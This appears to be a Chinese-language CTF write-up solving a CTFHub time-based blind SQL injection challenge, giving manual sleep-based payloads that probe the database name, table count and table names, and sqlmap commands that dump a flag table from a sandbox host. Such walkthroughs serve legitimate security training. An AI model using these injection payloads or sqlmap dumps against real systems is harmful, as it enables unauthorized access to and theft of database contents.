2025.1.15——五、时间盲注

题目来源:ctfhub技能树

目录

一、基本操作:整理已知信息,得本题为时间盲注

二、手工注入解题

[step 1:手工注入确认为时间盲注](#step 1:手工注入确认为时间盲注)

[step 2:爆数据库长度、名称](#step 2:爆数据库长度、名称)

1.数据库长度

2.数据库名

[step 3:爆表数、长度、名称](#step 3:爆表数、长度、名称)

1.爆表数

2.爆表名长度

3.爆具体名称

三、sqlmap解题

step1:爆数据库名

[step 2:爆表名](#step 2:爆表名)

[step 3:爆列名](#step 3:爆列名)

[step 4:爆具体数据](#step 4:爆具体数据)

四、小结


一、基本操作:整理已知信息,得本题为时间盲注

二、手工注入解题

step 1:手工注入确认为时间盲注

键入:1

键入:1'

以上均无反应

但一下payload

sql 复制代码
 1 and sleep(10)

明显感觉到延迟

step 2:爆数据库长度、名称

1.数据库长度

sql 复制代码
1 and if(length(database())=4,sleep(10),1)

2.数据库名

sql 复制代码
1 and if(ascii(substr(database(),1,1))>110,sleep(5),1)

先判断字符范围

逐步确认信息

sql 复制代码
1 and if(ascii(substr(database(),1,1))=115,sleep(15),1)

逐步得到信息115 113 108 105,得数据库名是sqli

step 3:爆表数、长度、名称

1.爆表数

sql 复制代码
1 and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1)

2.爆表名长度

正确payload如下

sql 复制代码
1 and if(length((select table_name from information_schema.tables where table_schema='sqli' limit 0,1))=4,sleep(10),1)

注:这里length()函数中需要一个括号将select语句括起来,才算完整,否则运行不下去

3.爆具体名称

以下payload无语法错误,但是运行不出来是因为表排列顺序不同

1 and if(ascii((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1)=110,sleep(15),1)

1 and if(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1)='n',sleep(15),1)

1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=110,sleep(15),1)

正确payload如下

sql 复制代码
1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=102,sleep(5),1)

这里的问题是表的顺序,第一个表是news,第二个表是flag

三、sqlmap解题

sqlmap爆数据库名、表名、列名、具体数据形式

sqlmap -u url --current-db

sqlmap -u url -D sqli --tables

sqlmap -u url -D sqli -T flag --columns

sqlmap -u url -D sqli -T flag -C flag --dump

step1:爆数据库名

sql 复制代码
python sqlmap.py -u http://challenge-230a0a451072c076.sandbox.ctfhub.com:10800/?id=1 --current-db

step 2:爆表名

sql 复制代码
python sqlmap.py -u http://challenge-230a0a451072c076.sandbox.ctfhub.com:10800/?id=1 -D sqli --tables

step 3:爆列名

sql 复制代码
python sqlmap.py -u http://challenge-230a0a451072c076.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag --columns

step 4:爆具体数据

sql 复制代码
python sqlmap.py -u http://challenge-230a0a451072c076.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump

四、小结

sqlmap中有value字样,是说有几个值,比如爆具体数据时显示1,说明有一个值在其中

相关推荐
不良人天码星4 分钟前
redis的事务,以及watch的原理
数据库·redis·缓存
韩立学长12 分钟前
基于微信小程序的公益捐赠安全平台9hp4t247 包含完整开发套件(程序、源码、数据库、调试部署方案及开发环境)系统界面展示及获取方式置于文档末尾,可供参考。
数据库·微信小程序·小程序
智能化咨询15 分钟前
SQL之参数类型讲解——从基础类型到动态查询的核心逻辑
数据库·oracle
doris820415 分钟前
使用Yum安装Redis
数据库·redis·缓存
有一个好名字18 分钟前
万字 Apache ShardingSphere 完全指南:从分库分表到分布式数据库生态
数据库·分布式·apache
Boilermaker199237 分钟前
【Redis】哨兵与对脑裂的情况分析
数据库·redis·缓存
橘 日向41 分钟前
admin二维码字符过长导致显示失败问题
数据库·oracle
啊吧怪不啊吧1 小时前
SQL之参数类型讲解
数据库·sql
GIS数据转换器1 小时前
带高度多边形,生成3D建筑模型,支持多种颜色或纹理的OBJ、GLTF、3DTiles格式
数据库·人工智能·机器学习·3d·重构·无人机
盒马coding1 小时前
第19节-非规范化数据类型-Drop-Type
数据库·postgresql